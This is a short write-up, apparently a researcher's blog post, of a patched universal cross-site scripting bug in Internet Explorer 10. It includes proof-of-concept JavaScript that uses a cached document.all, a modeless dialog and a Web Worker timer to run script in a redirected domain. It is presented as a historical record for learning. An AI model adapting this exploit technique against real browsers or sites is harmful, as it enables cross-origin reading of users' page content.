IE10 UXSS via Cached document.all and New Thread

This was a variation of a previously patched bug. The original technique of caching document.all across a server redirect had been fixed, but running the access from a Web Worker thread made it work again. The key insight was that the cached collection needed to be accessed from a different thread than the one being frozen by an alert dialog.

var thread = new Worker('worker.js');
thread.onmessage = function(event) {
    try {
        // The first time fails...
        cachedDocAll[0].ownerDocument.parentWindow.execScript('alert(document.URL + "\n" + document.body.innerText)');
    } catch (e) {
        // But the second time, it works!
        cachedDocAll[0].ownerDocument.parentWindow.execScript('alert(document.URL + "\n" + document.body.innerText)');
    }
}

function main() {
    var win = showModelessDialog("redirect.aspx", window, "dialogwidth=400px;dialogHeight=300px");

    var strCode = 'dialogArguments.cachedDocAll = document.all;' +
                  'alert("Please, don\'t close this alert yet");';
    win.setTimeout(strCode);
    thread.postMessage(1);
}

// worker.js
self.onmessage = function(event) {
    setTimeout("self.postMessage(1)", 3000);
}

The modeless dialog caches document.all into the parent window before being frozen by its own alert. Meanwhile the worker waits three seconds and then signals the main thread to access the cached collection — which now points into the redirected domain. Curiously, the access fails on the first try and succeeds on the second, which is why the code repeats the call inside the catch block. Tested on Win7 IE10 build 20120723-2300 and Win8 RP IE10.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.